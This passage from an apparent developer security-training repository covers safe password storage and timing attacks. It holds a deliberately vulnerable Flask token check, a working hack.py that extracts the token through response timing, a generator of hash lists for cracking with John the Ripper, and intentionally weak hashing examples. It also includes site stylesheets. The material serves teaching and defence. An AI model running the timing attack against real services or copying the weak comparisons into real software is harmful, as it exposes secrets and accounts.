59 | ```
60 |
61 | It can take a long time to crack, it's intended.
62 |
63 | ### Use docker
64 |
65 | We also provided a Dockerfile that you can use if you don't want to install John.
66 |
67 | First you can build with:
68 |
69 | ```
70 | docker build -t safe_password_storage_python .
71 | ```
72 |
73 | Then launch it with:
74 |
75 | ```
76 | docker run -t -i --rm=true safe_password_storage_python
77 | ```
78 |
79 | You can then use the same commands as shown above.
80 |
--------------------------------------------------------------------------------
/_practices/safe-password-storage/_python/app.py:
--------------------------------------------------------------------------------
1 | import time
2 | from flask import Flask, request
3 |
4 | app = Flask(__name__)
5 |
6 | SECRET_TOKEN = 'foobar'
7 |
8 |
9 | def strcmp(s1, s2):
10 | if len(s1) != len(s2):
11 | return False
12 | for c1, c2 in zip(s1, s2):
13 | if c1 != c2:
14 | return False
15 | time.sleep(0.01)
16 | return True
17 |
18 |
19 | @app.route("/")
20 | def protected():
21 | token = request.headers.get('X-TOKEN')
22 |
23 | if not token:
24 | return "Missing token", 401
25 |
26 | if strcmp(token, SECRET_TOKEN):
27 | return "Hello admin user! Here is your secret content"
28 | else:
29 | return "WHO ARE YOU? GET OUT!", 403
30 |
31 |
32 | if __name__ == "__main__":
33 | app.run()
34 |
--------------------------------------------------------------------------------
/_practices/safe-password-storage/_python/generate_data.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import hashlib
3 | import random
4 |
5 | import faker
6 | import django.contrib.auth.hashers
7 |
8 |
9 | FAKE = faker.Factory.create()
10 |
11 | with open("password.list") as file:
12 | PASSWORDS = [line.strip() for line in file.readlines()]
13 |
14 |
15 | def remove_pepper(encoded, pepper):
16 | index = encoded.index(pepper)
17 | return encoded[:index] + encoded[index+len(pepper):]
18 |
19 |
20 | class MD5Hasher(object):
21 |
22 | def __init__(self, salt=None, pepper=None, rounds=None):
23 | self.django_hasher = django.contrib.auth.hashers.MD5PasswordHasher()
24 | self.global_salt = self.django_hasher.salt()
25 |
26 | self.salt = salt
27 | self.pepper = pepper
28 |
29 | if rounds:
30 | print("MD5 don't take rounds argument, ignore")
31 |
32 | def encode(self, password):
33 | if self.salt is None:
34 | return hashlib.md5(password).hexdigest()
35 | elif self.salt == 'same':
36 | salt = self.global_salt
37 | elif self.salt == 'user':
38 | salt = self.django_hasher.salt()
39 |
40 | encoded = self.django_hasher.encode(password, self.pepper + salt)
41 | # Replace 'md5$' by '$1$'
42 | _, salt, passwd = encoded.split('$')
43 | return '$dynamic_4$%s$%s' % (passwd, remove_pepper(salt, self.pepper))
44 |
45 | @property
46 | def iterations(self):
47 | return 1
48 |
49 | def jtr_format(self):
50 | if self.salt is None:
51 | return 'Raw-MD5'
52 | else:
53 | return "dynamic_4"
54 |
55 |
56 | class BCryptHasher(object):
57 |
58 | def __init__(self, salt=None, pepper=None, rounds=None):
59 | self.django_hasher = django.contrib.auth.hashers.BCryptPasswordHasher()
60 |
61 | if rounds:
62 | self.django_hasher.rounds = rounds
63 |
64 | self.global_salt = self.django_hasher.salt()
65 |
66 | if salt is None:
67 | raise NotImplementedError("BCRYPT NEEDS A SALT MORON")
68 |
69 | self.salt = salt
70 | self.pepper = pepper
71 |
72 | def encode(self, password):
73 | if self.salt == 'same':
74 | encoded = self.django_hasher.encode(password, self.pepper + self.global_salt)
75 | # Replace 'md5$' by '$1$'
76 | # Remove 'bcrypt$'
77 | return encoded[7:]
78 | elif self.salt == 'user':
79 | encoded = self.django_hasher.encode(password, self.pepper + self.django_hasher.salt())
80 | # Replace 'md5$' by '$1$'
81 | return encoded[7:]
82 |
83 | @property
84 | def iterations(self):
85 | return self.django_hasher.rounds
86 |
87 | def jtr_format(self):
88 | return 'bcrypt'
89 |
90 |
91 | class PBKDF2Hasher(object):
92 |
93 | def __init__(self, salt=None, pepper=None, rounds=None):
94 | self.django_hasher = django.contrib.auth.hashers.PBKDF2PasswordHasher()
95 |
96 | if rounds:
97 | self.django_hasher.iterations = rounds
98 |
99 | self.global_salt = self.django_hasher.salt()
100 |
101 | if salt is None:
102 | raise NotImplementedError("PBKDF2 NEEDS A SALT MORON")
103 |
104 | self.salt = salt
105 | self.pepper = None
106 |
107 | def encode(self, password):
108 | if self.salt == 'same':
109 | encoded = self.django_hasher.encode(password, self.global_salt)
110 | # Replace 'md5$' by '$1$'
111 | return "$django$*1*" + encoded
112 | elif self.salt == 'user':
113 | encoded = self.django_hasher.encode(password, self.django_hasher.salt())
114 | # Replace 'md5$' by '$1$'
115 | return "$django$*1*" + encoded
116 |
117 | @property
118 | def iterations(self):
119 | return self.django_hasher.iterations
120 |
121 | def jtr_format(self):
122 | return 'Django'
123 |
124 |
125 | def get_hasher(algorithm, salt, pepper, rounds):
126 | if algorithm == 'md5':
127 | return MD5Hasher(salt, pepper, rounds)
128 | elif algorithm == 'bcrypt':
129 | return BCryptHasher(salt, pepper, rounds)
130 | elif algorithm == 'pbkdf2':
131 | return PBKDF2Hasher(salt, pepper, rounds)
132 | else:
133 | raise NotImplementedError("Bad algorithm %s" % algorithm)
134 |
135 |
136 | def main():
137 | parser = argparse.ArgumentParser(description='Generate username / password list for john the ripper')
138 | parser.add_argument('algorithm', help='which algorithm to use (md5, bcrypt or pbkdf2)')
139 | parser.add_argument('--salt', help='which kind of salt to use (none, same, user)')
140 | parser.add_argument('--pepper', default='', help='a pepper')
141 | parser.add_argument('--rounds', type=int, help='Number of rounds to use')
142 | parser.add_argument('--n', type=int, default=10, help='number of users/password to generate')
143 | args = parser.parse_args()
144 |
145 | hasher = get_hasher(args.algorithm, args.salt, args.pepper, args.rounds)
146 |
147 | msg = "Generating %s usernames/password with algorithm %r with salt %r [%r rounds] and pepper %r\n"
148 | print(msg % (args.n, args.algorithm, args.salt, hasher.iterations, args.pepper))
149 | with open('passwd', 'w') as output_file:
150 | for i in range(args.n):
151 | username = FAKE.profile(fields='username')['username']
152 | password = hasher.encode(random.choice(PASSWORDS))
153 | print("%s:%s" % (username, password))
154 | output_file.write("%s:%s\n" % (username, password))
155 |
156 | print("\nOutput also write in file `passwd`")
157 | print("You can crack it with `john --wordlist=password.list --format=%s passwd`" % hasher.jtr_format())
158 |
159 | if __name__ == '__main__':
160 | main()
161 |
--------------------------------------------------------------------------------
/_practices/safe-password-storage/_python/requirements.txt:
--------------------------------------------------------------------------------
1 | django<2
2 | faker
3 | bcrypt
4 |
--------------------------------------------------------------------------------
/_practices/safe-password-storage/python.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: Safe password storage
3 | language: python
4 | ---
5 |
6 | Password storage is now mandatory in several standards and is a well-known and solved problem. Not following best practices for password storage could transform a hack into a nightmare for business and developers.
7 |
8 | # TL;DR
9 |
10 | Don't store passwords in clear-text. Don't hash passwords with MD5. Use dedicated algorithms for hashing passwords. Use a distinct salt per user.
11 |
12 | # Vulnerable code
13 |
14 | It’s universally acknowledged that storing clear-text passwords is a bad idea. The recommendation is to hash them, using a cryptographically secure hashing algorithm. Here are some examples of **WHAT TO NOT DO**.
15 |
16 | ```python
17 | from hashlib import md5
18 |
19 | def hash_password(password):
20 | return md5(password)
21 | ```
22 |
23 | ```python
24 | import bcrypt
25 |
26 | def hash_password(password):
27 | return bcrypt.hashpw(password, '$2b$12$/msH5YVuJWZTfw.AdfLxS.')
28 | ```
29 |
30 | ```python
31 | import os
32 | from passlib.hash import pbkdf2_sha256
33 |
34 | def hash_password(password):
35 | return pbkdf2_sha256('sha256', password, os.urandom(16), iterations=1)
36 | ```
37 |
38 | All of theses examples are vulnerable; see below why.
39 |
40 | # Vulnerability explanation
41 |
42 | If an attacker gains access to your database, apart from personal information about your customers, he will try to recover your customers passwords:
43 |
44 | * To impersonate your customers and abuse the system, like posting spam using legitimate accounts or using their credits to buy things for themselves.
45 | * To try the passwords on other websites, thereby gaining access to even more personal information or, even worse, taking control of their email account.
46 |
47 | ## Clear-text passwords
48 |
49 | First, **YOU SHOULD NEVER STORE PASSWORDS IN CLEAR-TEXT**. If an attacker gains access to your database, they just need to copy the clear-text password and log in with it.
50 |
51 | There are known defences to make the attacker's life more difficult.
52 |
53 | ## Hash functions
54 |
55 | > A [Hash function](https://en.wikipedia.org/wiki/Hash_function) is any function that can be used to map data of arbitrary size to data of fixed size. The values returned by a hash function are called hash values, hash codes, digests, or simply hashes. - Wikipedia
56 |
57 | Hash functions have the property that any given input (string, bytes, ...) will always give the same hash as output, and that distinct inputs have a very high probability of producing distinct hashes.
58 |
59 | Hashes are used in every language for hash tables, caches, finding duplicate records, etc.
60 |
61 | ## Simple hash functions
62 |
63 | Thanks to the hash function's properties, the Internet has long recommended the use of a simple hash function like [`MD5`](https://en.wikipedia.org/wiki/MD5) or more recently [`SHA1`](https://en.wikipedia.org/wiki/SHA-1) for hashing passwords. The recommendation is better than storing password in clear-text in the database but attackers quickly found a solution.
64 |
65 | It's quite easy and quick to compute the MD5 of most common passwords, as `MD5('password')` will always be `5f4dcc3b5aa765d61d8327deb882cf99`. So the use of [rainbow tables](https://en.wikipedia.org/wiki/Rainbow_table) quickly became a valuable tool for attackers. If you see the value `5f4dcc3b5aa765d61d8327deb882cf99` in a data leak, you can look in the rainbow table and it will tell you that the clear-text password is `password`.
66 |
67 | Don't trust me? [Go check yourself here](http://hashtoolkit.com/reverse-hash/?hash=5f4dcc3b5aa765d61d8327deb882cf99).
68 |
69 | The crack is basically immediate, all possible passwords are precomputed, the complexity of cracking your password with MD5 or sha1 is basically: `O(1)`. Thus, in reality, MD5 is no better than storing passwords in clear-text.
70 |
71 | ## Wordlist
72 |
73 | The problem with brute-forcing passwords is that you need to have a list of "known" passwords in the first place. It's called a `wordlist` and is basically a clear-text file of passwords found in previous hacks, usually the most common ones like `123456` or `qwerty`. The problem is that most users uses these simple password or a combination of them. Security researchers estimate that as many as [50% of passwords found in leaks are from the top 25% most common passwords in 2016](https://blog.keepersecurity.com/2017/01/13/most-common-passwords-of-2016-research-study/). Passwords crackers can also apply some mangling rules, like replacing a letter by a number `qw3rty` or mixing the case `QwErTy`. So, even with a strong hash, attackers can determine the passwords of many accounts in your system.
74 |
75 | ## Salt
76 |
77 | One solution that quickly came is to use [a salt](https://en.wikipedia.org/wiki/Salt_(cryptography)); instead of hashing just the password, you hash the password concatenated with a random value that you store. So `MD5('password' + 'SalT3D') == 'e7c3b1834297faf1ea92754f41daf14f' != MD5('password')`. This solution blocks the [most common rainbow tables](http://hashtoolkit.com/reverse-hash?hash=e7c3b1834297faf1ea92754f41daf14f) but the hackers quickly found a new workaround.
78 |
79 | As the salt value is the same across all the stored passwords, the attacker can generate a rainbow table with your salt value; such computations become easier as computer power increases and parallelization improves.
80 |
81 | With this solution, the attacker needs to generate a rainbow table, augmenting the complexity to crack your passwords to: `O(N)`, N being the number of passwords "knowns".
82 |
83 | ## Per-user salt
84 |
85 | Instead of using a global salt, the solution is to generate a salt per user. The downside is that you have to store the salt value along with your passwords to be able to check the password.
86 |
87 | In this way, the attacker would have to generate a rainbow table per salt value. This quickly raises the complexity of the attacker's work. If you have 100 users and one distinct salt per user, the attacker would have to compute: `100 (users salt) * 100 (number of password to try) = 10000` hashes to crack all of your customers passwords.
88 |
89 | With this solution, the attacker needs to generate a rainbow table per user salt, augmenting the complexity to crack your passwords to: `O(M*N)`, M being the number of customers and N being the number of passwords of a password list.
90 |
91 | ## Let's slow the world
92 |
93 | One solution to counter the augmentation of compute power and [use of GPU to crack passwords](https://blog.elcomsoft.com/2016/07/nvidia-pascal-a-great-password-cracking-tool/) is to use hash functions designed specifically for password hashing. They are called [Cryptographic hash functions](https://en.wikipedia.org/wiki/Cryptographic_hash_function). They have the same basic property in that they are deterministic, but they have another property fundamental for hashing passwords: It is infeasible to generate a message from its hash value except by trying all possible messages. This means that if an attacker has a cryptographic hash, it will need to brute-force it, try an enormous number of passwords, hash them with your user salt, and check if they match.
94 |
95 | Simple hashing functions are pretty quick and easy to parallelize, [latest reports](https://gist.github.com/epixoip/a83d38f412b4737e99bbef804a270c40) show up to 200 billion per second, yes **200,000,000,000** hash per second for MD5 and only 68 billion for SHA1.
96 |
97 | A slower hashing algorithm can make brute-force attackers harder by forcing them to take longer. Algorithms like [BCrypt](https://en.wikipedia.org/wiki/Bcrypt) or [pkbdf2](https://en.wikipedia.org/wiki/PBKDF2) are very well suited for password hashing because the algorithmic complexity can be tuned at runtime. You can set the number of iterations required to compute a hash, so if one of these algorithms becomes fast to crack, you need only double the iterations, and you should be safe.
98 |
99 | Checking back on the report above, with BCrypt, we are down to 105 thousand hashes per second for BCrypt with 5 iterations and *only* 9680 hashes per second for pbkdf2 with 1000 iterations, and these iterations are pretty low according to present standards.
100 |
101 | ## Closing thoughts
102 |
103 | All these good practices have the objective to slow down a hacker that would have access to your database passwords and try to crack them. There are two complimentary solutions:
104 |
105 | - Force users to use strong passwords: They are much much harder to crack. Check out this website to see the [complexity of different passwords](https://howsecureismypassword.net/). `password` is marked as cracked instantly while `uFLXW7UZ2J5L1ICTatzQ` would take **558 QUADRILLION YEARS.** If a password cracker couldn't generate your password from its wordlist and mangling rules, except by trying every possible combination of characters, your users should be safe.
106 | - Use a cryptographic pepper. A pepper is added to the password and the salt before hashing. The big difference is that the pepper is **NOT** stored in the database but somewhere else safe. This way if an attacker access your database, he would need to brute force the pepper *and* the password which would be infeasible.
107 |
108 | And please, *do not* write your own hashing function or compose them without understanding what you are doing. And, no, `MD5(MD5('password') + 's')` is not inherently safer.
109 |
110 | Here is a graph of cracking time per algorithm:
111 |
112 |
113 |
114 | This image has been generated from this [Google Spreadsheet](https://docs.google.com/spreadsheets/d/1FGSnq-XKSsDLobCcKHXrVp06dDMQ5CrK9iBtcK-OYd0/edit#gid=0).
115 |
116 | # Non-vulnerable code
117 |
118 | If you are using Django, just follow the [Django documentation](https://docs.djangoproject.com/en/1.10/topics/auth/passwords/) and use standard Django password hashers.
119 |
120 | If you are not using Django, you can use [passlib](https://pypi.python.org/pypi/passlib) which is easily installable, maintained and with a very opinionated API: For example, you cannot hash a password without a salt. It also support multi-factor auth which is a very good thing.
121 |
122 | # Example of attack
123 |
124 | {% include_relative _python/README.md %}
125 |
126 | ## References:
127 |
128 | - [https://blogs.dropbox.com/tech/2016/09/how-dropbox-securely-stores-your-passwords/](https://blogs.dropbox.com/tech/2016/09/how-dropbox-securely-stores-your-passwords/)
129 |
--------------------------------------------------------------------------------
/_practices/timing-attack/_python/README.md:
--------------------------------------------------------------------------------
1 | We have provided a sample python web application coded in Flask that check authorization token in a timing attack vulnerable way. You can also find a script that will exploit this vulnerability to retrieve the expected token.
2 |
3 | ### Run the web application
4 |
5 | In order to run the web application, create a virtualenv:
6 |
7 | ```bash
8 | python -m virtualenv -p $(which python3) venv
9 | source venv/bin/activate
10 | ```
11 |
12 | Then install the dependencies:
13 |
14 | ```bash
15 | pip install -r requirements.txt
16 | ```
17 |
18 | You can then run the web application this way:
19 |
20 | ```bash
21 | gunicorn -w 1 app:app
22 | ```
23 |
24 |
25 | The web application expects to receive the token named `SECRET_TOKEN` in `app.py` in the header named `X-TOKEN`. If the header match the hardcoded one, it returns a `200 OK` status code, else it returns a `403 Forbidden`.
26 |
27 | ### Hack the web application
28 |
29 | In order to run the script to hack the web application, create a virtualenv:
30 |
31 | ```bash
32 | python -m virtualenv -p $(which python3) venv
33 | source venv/bin/activate
34 | ```
35 |
36 | Then install the dependencies:
37 |
38 | ```bash
39 | pip install -r requirements.txt
40 | ```
41 |
42 | Finally, launch it with:
43 |
44 | ```bash
45 | python hack.py
46 | ```
47 |
48 | ### Customize
49 |
50 | You can change the hardcoded token in `app.py` to validate that the script is effectively working.
51 |
52 | If you change the expected token size, also change the variable `TOKEN_SIZE` in `hack.py`. The hacking script was not made smart enough to try to find the right token size.
53 |
--------------------------------------------------------------------------------
/_practices/timing-attack/_python/app.py:
--------------------------------------------------------------------------------
1 | import time
2 | from flask import Flask, request
3 |
4 | app = Flask(__name__)
5 |
6 | SECRET_TOKEN = 'foobar'
7 |
8 |
9 | def strcmp(s1, s2):
10 | if len(s1) != len(s2):
11 | return False
12 | for c1, c2 in zip(s1, s2):
13 | if c1 != c2:
14 | return False
15 | time.sleep(0.01)
16 | return True
17 |
18 |
19 | @app.route("/")
20 | def protected():
21 | token = request.headers.get('X-TOKEN')
22 |
23 | if not token:
24 | return "Missing token", 401
25 |
26 | if strcmp(token, SECRET_TOKEN):
27 | return "Hello admin user! Here is your secret content"
28 | else:
29 | return "WHO ARE YOU? GET OUT!", 403
30 |
31 |
32 | if __name__ == "__main__":
33 | app.run()
34 |
--------------------------------------------------------------------------------
/_practices/timing-attack/_python/hack.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import time
3 | import string
4 | import statistics
5 |
6 | import requests
7 |
8 | from operator import itemgetter
9 |
10 | URL = "http://localhost:8000"
11 | N = 100
12 | TOKEN_SIZE = 6
13 |
14 |
15 | class PasswordFound(Exception):
16 |
17 | def __init__(self, password):
18 | self.password = password
19 |
20 |
21 | def try_to_hack(characters):
22 | timings = []
23 |
24 | # Print a . without a newline
25 | print('.', end='', flush=True)
26 |
27 | # Do N HTTP calls
28 | for i in range(N):
29 | before = time.perf_counter()
30 | result = requests.get(URL, headers={'X-TOKEN': characters})
31 | after = time.perf_counter()
32 |
33 | if result.status_code == 200:
34 | raise PasswordFound(characters)
35 | elif result.status_code != 403:
36 | raise Exception(result, result.status_code)
37 |
38 | timings.append(after - before)
39 |
40 | return timings
41 |
42 |
43 | def find_next_character(base):
44 | measures = []
45 |
46 | print("Trying to find the character at position %s with prefix %r" % ((len(base) + 1), base))
47 | for i, character in enumerate(string.ascii_lowercase):
48 | timings = try_to_hack(base + character + "0" * (TOKEN_SIZE - len(base) - 1))
49 |
50 | median = statistics.median(timings)
51 | min_timing = min(timings)
52 | max_timing = max(timings)
53 | stddev = statistics.stdev(timings)
54 |
55 | measures.append({'character': character, 'median': median, 'min': min_timing,
56 | 'max': max_timing, 'stddev': stddev})
57 |
58 | sorted_measures = list(sorted(measures, key=itemgetter('median'), reverse=True))
59 |
60 | found_character = sorted_measures[0]
61 | top_characters = sorted_measures[1:4]
62 |
63 | print("Found character at position %s: %r" % ((len(base) + 1), found_character['character']))
64 | msg = "Median: %s Max: %s Min: %s Stddev: %s"
65 | print(msg % (found_character['median'], found_character['max'], found_character['min'], found_character['stddev']))
66 |
67 | print()
68 | print("Following characters were:")
69 |
70 | for top_character in top_characters:
71 | ratio = int((1 - (top_character['median'] / found_character['median'])) * 100)
72 | msg ="Character: %r Median: %s Max: %s Min: %s Stddev: %s (%d%% slower)"
73 | print(msg % (top_character['character'], top_character['median'], top_character['max'], top_character['min'], top_character['stddev'], ratio))
74 |
75 | return found_character['character']
76 |
77 |
78 | def main():
79 | # Do a first request to start the keep-alive connection
80 | requests.get(URL)
81 |
82 | base = ''
83 |
84 | try:
85 | while len(base) != TOKEN_SIZE:
86 | next_character = find_next_character(base)
87 | base += next_character
88 | print("\n\n", end="")
89 | except PasswordFound as e:
90 | print("\n\n", end="")
91 | print("The token is: %r %s" % (e.password, '!'*10))
92 | sys.exit(0)
93 | else:
94 | print("The password is not found, check the allowed character and token size")
95 | sys.exit(1)
96 |
97 |
98 | if __name__ == '__main__':
99 | main()
100 |
--------------------------------------------------------------------------------
/_practices/timing-attack/_python/requirements.txt:
--------------------------------------------------------------------------------
1 | requests
2 | flask
3 | gunicorn
4 |
--------------------------------------------------------------------------------
/_practices/timing-attack/_python/test.py:
--------------------------------------------------------------------------------
1 | import time
2 | import statistics
3 |
4 | timer = time.perf_counter # requires Python 3.3 or later
5 |
6 |
7 | def check_password(password, second_password):
8 | return password == second_password
9 |
10 | performance_times = []
11 |
12 | too_long = "\1" * 10000
13 |
14 |
15 | for i in range(20):
16 |
17 | equals_times = []
18 | not_equals_times = []
19 |
20 | for _ in range(10000):
21 | good_password = "A"*i
22 | bad_password = "B" + "0"*(i-1)
23 | t1 = timer()
24 | check_password(good_password, bad_password)
25 | t2 = timer()
26 |
27 | not_equals_times.append(t2 - t1)
28 |
29 | for _ in range(10000):
30 | good_password = "A"*i
31 | other_password = "A" + "0"*(i-1)
32 | t1 = timer()
33 | check_password(good_password, bad_password)
34 | t2 = timer()
35 |
36 | equals_times.append(t2 - t1)
37 |
38 | print("Size %d not equal: %s" % (i, statistics.mean(not_equals_times)))
39 | print("Size %d equal: %s" % (i, statistics.mean(equals_times)))
40 |
--------------------------------------------------------------------------------
/_practices/timing-attack/nodejs.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: Timing Attacks against String Comparison
3 | language: nodejs
4 | ---
5 |
6 | Timing Attacks are a particular type of attacks that use flaws in code that impact the execution time.
7 |
8 | # TLDR
9 |
10 | Don't use string comparison `==` when checking for secrets or token equality. Use safe implementations.
11 |
12 | # Vulnerable code
13 |
14 | # Vulnerability explanation
15 |
16 | SCHEMA
17 |
18 | # Not vulnerable code
19 |
20 | # Example of attack
21 |
22 | ## References:
23 |
24 | - [https://codahale.com/a-lesson-in-timing-attacks/](https://codahale.com/a-lesson-in-timing-attacks/)
25 |
--------------------------------------------------------------------------------
/_practices/timing-attack/python.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: Timing Attacks against String Comparison
3 | language: python
4 | ---
5 |
6 | Timing Attacks are a particular type of attacks that use flaws in code that impact the execution time to discover hints about secrets.
7 |
8 | # TL;DR
9 |
10 | Don't use string comparison `==` when checking for secrets or token equality. Use constant-time implementations.
11 |
12 | # Vulnerable code
13 |
14 | For example, this Python code is vulnerable to timing attacks:
15 |
16 | ```python
17 | def is_authorized(token):
18 | if token == 'MY_SECURE_TOKEN':
19 | return True
20 | else:
21 | return False
22 | ```
23 |
24 | # Vulnerability explanation
25 |
26 | While being very simple, it's vulnerable. Why? The code that compares two string is equivalent to this one:
27 |
28 | ```python
29 | def str_equals(first_string, second_string):
30 | if len(first_string) != len(second_string):
31 | return False
32 |
33 | for c1, c2 in zip(first_string, second_string):
34 | if c1 != c2:
35 | return False
36 |
37 | return True
38 | ```
39 |
40 | It iterates over each character of the two string and returns `False` as soon as two characters differ. This means that comparing two strings can take differing amounts of time when depending on the location of the first difference.
41 |
42 | 
43 |
44 | The difference appears negligible, and it is indeed very small, but statistics dictates that even small differences can be detected with enough measurements. Moreover, network jitter can now be precisely modeled and can be removed from measures over the internet. According to [one of the reference paper on the subject](http://www.cs.rice.edu/~dwallach/pub/crosby-timing2009.pdf), "we have shown that, even though the Internet induces significant timing jitter, we can reliably distinguish remote timing differences as low as 20µs".
45 |
46 | Timing attacks can occur when the attacker controls the value that is compared to the secret. For an authorization key, for example, if he discovers that the first character is `f`, he can start sending keys beginning with `f` to find the next characters.
47 |
48 | # Non-vulnerable code
49 |
50 | The solution is to compare the two strings in a way that is not dependent on the length of the strings. This algorithm is called constant time string comparison.
51 |
52 | To do this successfully the algorithm must:
53 |
54 | - Compare all of the characters before returning true or false.
55 | - returning early will leak information.
56 | - Compare strings of equal length
57 | - if one string is longer or shorter, you'll return early and leak information about string length.
58 |
59 | Django provides a function [`constant_time_compare`](constant_time_compare) that can be used to securely check two strings.
60 |
61 | The python standard lib also provides the function [`hmac.compare_digest`](https://docs.python.org/3/library/hmac.html#hmac.compare_digest) only in Python 3.3+.
62 |
63 | # Example of attack
64 |
65 | {% include_relative _python/README.md %}
66 |
67 | {% assign dirname = page.path | split: '/' | pop | join: '/' %}
68 | You can play with the code located here.
69 |
70 | ## References:
71 |
72 | - [https://codahale.com/a-lesson-in-timing-attacks/](https://codahale.com/a-lesson-in-timing-attacks/)
73 | - [http://www.cs.rice.edu/~dwallach/pub/crosby-timing2009.pdf](http://www.cs.rice.edu/~dwallach/pub/crosby-timing2009.pdf)
74 |
--------------------------------------------------------------------------------
/_practices/timing-attack/string-comparison.jpeg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/_practices/timing-attack/string-comparison.jpeg
--------------------------------------------------------------------------------
/_sass/minima.scss:
--------------------------------------------------------------------------------
1 | // Define defaults for each variable.
2 |
3 | $base-font-family: "Helvetica Neue", Helvetica, Arial, sans-serif !default;
4 | $base-font-size: 16px !default;
5 | $base-font-weight: 400 !default;
6 | $small-font-size: $base-font-size * 0.875 !default;
7 | $base-line-height: 1.5 !default;
8 |
9 | $spacing-unit: 30px !default;
10 |
11 | $text-color: #111 !default;
12 | $background-color: #fdfdfd !default;
13 | $brand-color: #2a7ae2 !default;
14 |
15 | $grey-color: #828282 !default;
16 | $grey-color-light: lighten($grey-color, 40%) !default;
17 | $grey-color-dark: darken($grey-color, 25%) !default;
18 |
19 | // Width of the content area
20 | $content-width: 800px !default;
21 |
22 | $on-palm: 600px !default;
23 | $on-laptop: 800px !default;
24 |
25 | // Use media queries like this:
26 | // @include media-query($on-palm) {
27 | // .wrapper {
28 | // padding-right: $spacing-unit / 2;
29 | // padding-left: $spacing-unit / 2;
30 | // }
31 | // }
32 | @mixin media-query($device) {
33 | @media screen and (max-width: $device) {
34 | @content;
35 | }
36 | }
37 |
38 | // Import partials.
39 | @import
40 | "minima/base",
41 | "minima/layout",
42 | "minima/syntax-highlighting"
43 | ;
44 |
--------------------------------------------------------------------------------
/_sass/minima/_base.scss:
--------------------------------------------------------------------------------
1 | /**
2 | * Reset some basic elements
3 | */
4 | body, h1, h2, h3, h4, h5, h6,
5 | p, blockquote, pre, hr,
6 | dl, dd, ol, ul, figure {
7 | margin: 0;
8 | padding: 0;
9 | }
10 |
11 |
12 |
13 | /**
14 | * Basic styling
15 | */
16 | body {
17 | font: $base-font-weight #{$base-font-size}/#{$base-line-height} $base-font-family;
18 | color: $text-color;
19 | background-color: $background-color;
20 | -webkit-text-size-adjust: 100%;
21 | -webkit-font-feature-settings: "kern" 1;
22 | -moz-font-feature-settings: "kern" 1;
23 | -o-font-feature-settings: "kern" 1;
24 | font-feature-settings: "kern" 1;
25 | font-kerning: normal;
26 | }
27 |
28 |
29 |
30 | /**
31 | * Set `margin-bottom` to maintain vertical rhythm
32 | */
33 | h1, h2, h3, h4, h5, h6,
34 | p, blockquote, pre,
35 | ul, ol, dl, figure,
36 | %vertical-rhythm {
37 | margin-bottom: $spacing-unit / 2;
38 | }
39 |
40 |
41 |
42 | /**
43 | * Images
44 | */
45 | img {
46 | max-width: 100%;
47 | vertical-align: middle;
48 | }
49 |
50 |
51 |
52 | /**
53 | * Figures
54 | */
55 | figure > img {
56 | display: block;
57 | }
58 |
59 | figcaption {
60 | font-size: $small-font-size;
61 | }
62 |
63 |
64 |
65 | /**
66 | * Lists
67 | */
68 | ul, ol {
69 | margin-left: $spacing-unit;
70 | }
71 |
72 | li {
73 | > ul,
74 | > ol {
75 | margin-bottom: 0;
76 | }
77 | }
78 |
79 |
80 |
81 | /**
82 | * Headings
83 | */
84 | h1, h2, h3, h4, h5, h6 {
85 | font-weight: $base-font-weight;
86 | }
87 |
88 |
89 |
90 | /**
91 | * Links
92 | */
93 | a {
94 | color: $brand-color;
95 | text-decoration: none;
96 |
97 | &:visited {
98 | color: darken($brand-color, 15%);
99 | }
100 |
101 | &:hover {
102 | color: $text-color;
103 | text-decoration: underline;
104 | }
105 | }
106 |
107 |
108 |
109 | /**
110 | * Blockquotes
111 | */
112 | blockquote {
113 | color: $grey-color;
114 | border-left: 4px solid $grey-color-light;
115 | padding-left: $spacing-unit / 2;
116 | font-size: 18px;
117 | letter-spacing: -1px;
118 | font-style: italic;
119 |
120 | > :last-child {
121 | margin-bottom: 0;
122 | }
123 | }
124 |
125 |
126 |
127 | /**
128 | * Code formatting
129 | */
130 | pre,
131 | code {
132 | font-size: 15px;
133 | border: 1px solid $grey-color-light;
134 | border-radius: 3px;
135 | background-color: #eef;
136 | }
137 |
138 | code {
139 | padding: 1px 5px;
140 | }
141 |
142 | pre {
143 | padding: 8px 12px;
144 | overflow-x: auto;
145 |
146 | > code {
147 | border: 0;
148 | padding-right: 0;
149 | padding-left: 0;
150 | }
151 | }
152 |
153 |
154 |
155 | /**
156 | * Wrapper
157 | */
158 | .wrapper {
159 | max-width: -webkit-calc(#{$content-width} - (#{$spacing-unit} * 2));
160 | max-width: calc(#{$content-width} - (#{$spacing-unit} * 2));
161 | margin-right: auto;
162 | margin-left: auto;
163 | padding-right: $spacing-unit;
164 | padding-left: $spacing-unit;
165 | @extend %clearfix;
166 |
167 | @include media-query($on-laptop) {
168 | max-width: -webkit-calc(#{$content-width} - (#{$spacing-unit}));
169 | max-width: calc(#{$content-width} - (#{$spacing-unit}));
170 | padding-right: $spacing-unit / 2;
171 | padding-left: $spacing-unit / 2;
172 | }
173 | }
174 |
175 |
176 |
177 | /**
178 | * Clearfix
179 | */
180 | %clearfix:after {
181 | content: "";
182 | display: table;
183 | clear: both;
184 | }
185 |
186 |
187 |
188 | /**
189 | * Icons
190 | */
191 | .icon > svg {
192 | display: inline-block;
193 | vertical-align: middle;
194 |
195 | path {
196 | fill: $grey-color;
197 | }
198 | }
199 |
--------------------------------------------------------------------------------
/_sass/minima/_layout.scss:
--------------------------------------------------------------------------------
1 | /**
2 | * Site header
3 | */
4 | .site-header {
5 | border-top: 5px solid $grey-color-dark;
6 | border-bottom: 1px solid $grey-color-light;
7 | min-height: 56px;
8 |
9 | // Positioning context for the mobile navigation icon
10 | position: relative;
11 | }
12 |
13 | .site-title {
14 | font-size: 26px;
15 | font-weight: 300;
16 | line-height: 56px;
17 | letter-spacing: -1px;
18 | margin-bottom: 0;
19 | float: left;
20 |
21 | &,
22 | &:visited {
23 | color: $grey-color-dark;
24 | }
25 | }
26 |
27 | .site-nav {
28 | float: right;
29 | line-height: 56px;
30 |
31 | .menu-icon {
32 | display: none;
33 | }
34 |
35 | .page-link {
36 | color: $text-color;
37 | line-height: $base-line-height;
38 |
39 | // Gaps between nav items, but not on the last one
